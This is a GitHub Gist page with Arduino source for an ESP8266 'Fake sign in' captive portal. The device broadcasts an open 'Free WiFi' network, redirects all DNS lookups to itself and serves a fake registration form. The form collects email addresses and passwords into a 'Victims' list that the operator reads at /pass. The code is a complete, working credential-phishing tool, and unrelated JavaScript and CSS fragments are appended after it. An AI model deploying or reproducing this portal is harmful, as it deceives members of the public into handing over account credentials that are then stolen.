Created
May 7, 2021 02:12
-
-
Save shahriarshafin/9d675840e61efcd12625be62c70d7f44 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// NodeMcu-ESP8266 Fake sign in | |
// Based on: PopupChat https://github.com/tlack/popup-chat | |
// Includes | |
#include <ESP8266WiFi.h> | |
#include <DNSServer.h> | |
#include <ESP8266WebServer.h> | |
// User configuration | |
#define SSID_NAME "Free WiFi" | |
#define SUBTITLE "Welcome to free wifi service." | |
#define TITLE "Register:" | |
#define BODY "Create an account to get connected to the internet." | |
#define POST_TITLE "Validating..." | |
#define POST_BODY " Your account is being validated. Please, wait up to 3 minutes for device connection.</br> Thank you." | |
#define PASS_TITLE "Victims" | |
#define CLEAR_TITLE "Cleared" | |
//System Settings | |
const byte HTTP_CODE = 200; | |
const byte DNS_PORT = 53; | |
const byte TICK_TIMER = 1000; | |
IPAddress APIP(172, 0, 0, 1); // Gateway | |
String Victims = ""; | |
unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0; | |
DNSServer dnsServer; ESP8266WebServer webServer(80); | |
String input(String argName) { | |
String a = webServer.arg(argName); | |
a.replace("<", "<"); a.replace(">", ">"); | |
a.substring(0, 200); return a; | |
} | |
String footer() { | |
return | |
"<br><footer><div><center><p>Copyright© 2019-2020 | All rights reserved.</p></center></div></footer>"; | |
} | |
String header(String t) { | |
String a = String(SSID_NAME); | |
String CSS = "article { background: #f2f2f2; padding: 1.3em; }" | |
"body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" | |
"div { padding: 0.5em; }" | |
"h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" | |
// Data input box | |
"input{ width: 100%; padding: 12px 20px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 2px solid #08B794; }" | |
"label { color: #333; display: block; font-style: italic; font-weight: bold; }" | |
// Free WiFi Navbar | |
"nav { background: #08B794; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" | |
"nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " | |
"textarea { width: 100%; }" | |
" input{width: 100%;border-box border: 2px solid red;border-radius: 4px}"; | |
// index html | |
String h = "<!DOCTYPE html><html>" | |
"<head><title>" + a + " :: " + t + "</title>" | |
"<meta name=viewport content=\"width=device-width,initial-scale=1\">" | |
"<style>" + CSS + "</style></head>" | |
"<body><nav><b>" + a + "<img src=\"data:image/png;base64,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\" style=margin-left:250px;></b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div>"; | |
return h; | |
} | |
String pass() { | |
return header(PASS_TITLE) + "<ol>" + Victims + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer(); | |
} | |
String index() { | |
return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post>" + | |
"<b> Email: </b> <center> <input type=text autocomplete=email name=email placeholder=yourmail@gmail.com></center>" + | |
"<b> Password:</b> <center> <input type=password name=password placeholder=password></center>" + | |
"<p>☑I have read and agree to the Privacy Policy</p>" + | |
//SUBMIT | |
"<center><input type=submit style=background:#08B794;font-size:17px;color:white;cursor:pointer; value=\"Register\"></center></form>" + footer(); | |
} | |
String posted() { | |
String email = input("email"); | |
String password = input("password"); | |
Victims = "<li>Email: <b>" + email + "</b></br>Password: <b style=color:#ea5455;>" + password + "</b></li>" + Victims; | |
return header(POST_TITLE) + POST_BODY + footer(); | |
} | |
String clear() { | |
String email = "<p></p>"; | |
String password = "<p></p>"; | |
Victims = "<p></p>"; | |
return header(CLEAR_TITLE) + "<div><p>The Victims list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer(); | |
} | |
void BLINK() { | |
int count = 1; | |
while (count <= 3) { // The internal LED will blink 3 times when a password is received. | |
digitalWrite(BUILTIN_LED, LOW); | |
delay(500); | |
digitalWrite(BUILTIN_LED, HIGH); | |
delay(500); | |
count = count + 1; | |
} | |
} | |
void setup() { | |
bootTime = lastActivity = millis(); | |
WiFi.mode(WIFI_AP); | |
WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); | |
WiFi.softAP(SSID_NAME); | |
dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP) | |
webServer.on("/post", []() { | |
webServer.send(HTTP_CODE, "text/html", posted()); | |
BLINK(); | |
}); | |
webServer.on("/pass", []() { | |
webServer.send(HTTP_CODE, "text/html", pass()); | |
}); | |
webServer.on("/clear", []() { | |
webServer.send(HTTP_CODE, "text/html", clear()); | |
}); | |
webServer.onNotFound([]() { | |
lastActivity = millis(); | |
webServer.send(HTTP_CODE, "text/html", index()); | |
}); | |
webServer.begin(); | |
pinMode(BUILTIN_LED, OUTPUT); | |
digitalWrite(BUILTIN_LED, HIGH); | |
} | |
void loop() { | |
if ((millis() - lastTick) > TICK_TIMER) { | |
lastTick = millis(); | |
} | |
dnsServer.processNextRequest(); webServer.handleClient(); | |
} |
str => [...str].reverse().join('')
str.match(/(\d+).{0,1}(\d)/)
{{backgroundColor : 'red'}}
style={{backgroundColor: "#FF0000"}}
#F3EFD0
#FCFBBA
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
var data = "1.2kg";
console.log(parseFloat(data)) // 1.2